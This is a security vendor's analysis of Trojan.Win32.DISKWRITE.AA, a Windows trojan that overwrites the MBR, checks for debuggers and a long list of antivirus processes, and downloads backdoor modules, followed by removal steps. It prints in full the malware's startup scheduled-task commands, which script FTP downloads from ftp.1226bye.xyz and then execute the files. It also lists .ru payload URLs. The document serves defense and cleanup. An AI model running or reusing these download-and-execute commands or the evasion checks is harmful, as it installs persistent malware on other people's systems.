Trojan.Win32.DISKWRITE.AA

 Analysis by: Noel Anthony Llimos

 ALIASES:

HEUR:Trojan.Win32.DiskWriter.gen (Kaspersky)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 SYSTEM IMPACT RATING:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW


This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. It may be downloaded by other malware/grayware from remote sites.

  TECHNICAL DETAILS

File Size:

2,622,464 bytes

File Type:

EXE

Memory Resident:

Yes

Initial Samples Received Date:

04 Feb 2019

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It may be downloaded by the following malware/grayware from remote sites:

Installation

This Trojan drops the following files:

  • %User Temp%\02.dat
  • %User Temp%\01.dat

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, and 8.)

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://mbr{BLOCKED}.ru/upsnew.exe ← detected as TROJ_DARKCLOUD.THHBDAH
  • http://mbr.{BLOCKED}.ru/TestMsg.tmp
  • http://mbr.{BLOCKED}.ru/TestMsg64.tmp

Other Details

This Trojan does the following:

  • It checks if the injected code is patched and force a blue screen error if it finds the code being patched.
  • It overwrites the first sector (512 bytes) of the MBR.
  • It is capable of downloading a backdoor module which can execute the following backdoor commands:
    • Delete a specific service
    • Delete a specific registry
    • Download and execute a malicious file
    • Download a malicious code and inject to a specific process
  • It checks the presence of the following debugger:
    • OLLYDBG
  • It checks the presence of the following antivirus and security applications:
    • avp.exe
    • zhudongfangyu.exe
    • 360tray.exe
    • superkiller.exe
    • 360sd.exe
    • 360rps.exe
    • QQPCRTP.exe
    • systemaidbox.exe
    • avgnt.exe
    • avengine.exe
    • msmpeng.exe
    • nissrv.exe
    • msseces.exe
    • ccSvcHst.exe
    • ekrn.exe
    • egui.exe
    • nod32krn.exe
    • avgrsa.exe
    • avgui.exe
    • avscan.exe
    • v3svc.exe
    • v3medic.exe
    • Rtvscan.exe
    • avastsvc.exe
    • bdagent.exe
    • mcshield.exe
    • mcsvhost.exe
    • mfefire.exe
    • mfemms.exe
    • safedogguardcenter.exe
    • wdswfsafe.exe
    • KSafeTray.exe
    • dwengine.exe
    • dwarkdaemon.exe
    • vssery.exe
    • liveupdate360.exe
    • qqpctray.exe
    • Mcshield.exe
    • bdagent.exe
    • smsvchost.exe
    • avastui.exe
    • ksafe.exe
    • inst.exe
    • v3main.exe
    • instup.exe
    • v3main.exe

It adds the following scheduled tasks:

  • Task Name: ok
    • Trigger: Every System Startup
    • Actions: %Windows%\debug\ok.dat,ServiceMain aaaa
  • Task Name: Mysa1
    • Trigger: Every System Startup
    • Actions: %Windows%\debug\item.dat,ServiceMain aaaa
  • Task Name: Mysa3
    • Trigger: Every System Startup
    • Actions: /c echo open ftp.1226bye.xyz>ps&echo test>>ps&echo 1433>>ps&echo get s.rar %Windows%\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&%Windows%\help\lsmosee.exe
  • Task Name: Mysa2
    • Trigger: Every System Startup
    • Actions: /c echo open ftp.1226bye.xyz>p&echo test>>p&echo 1433>>p&echo get s.dat %Windows%\debug\item.dat>>p&echo bye>>p&ftp -s:p
  • Task Name: Mysa
    • Trigger: Every System Startup
    • Actions: /c echo open ftp.1226bye.xyz>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe %Windows%\update.exe>>s&echo bye>>s&ftp -s:s&%Windows%\update.exe

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

14.772.07

FIRST VSAPI PATTERN DATE:

25 Jan 2019

VSAPI OPR PATTERN File:

14.773.00

VSAPI OPR PATTERN Date:

26 Jan 2019

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

  • Task Name: ok
  • Actions: %Windows%\debug\ok.dat,ServiceMain aaaa
  • Task Name: Mysa
  • Actions: /c echo open ftp.1226bye.xyz>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe %Windows%\update.exe>>s&echo bye>>s&ftp -s:s&%Windows%\update.exe
  • Task Name: Mysa1
  • Actions: %Windows%\debug\item.dat,ServiceMain aaaa
  • Task Name: Mysa3
  • Actions: /c echo open ftp.1226bye.xyz>ps&echo test>>ps&echo 1433>>ps&echo get s.rar %Windows%\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&%Windows%\help\lsmosee.exe
  • Task Name: Mysa2
  • Actions: /c echo open ftp.1226bye.xyz>p&echo test>>p&echo 1433>>p&echo get s.dat %Windows%\debug\item.dat>>p&echo bye>>p&ftp -s:p

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 5

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %User Temp%\02.dat
  • %User Temp%\01.dat

Step 6

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Trojan.Win32.DISKWRITE.AA. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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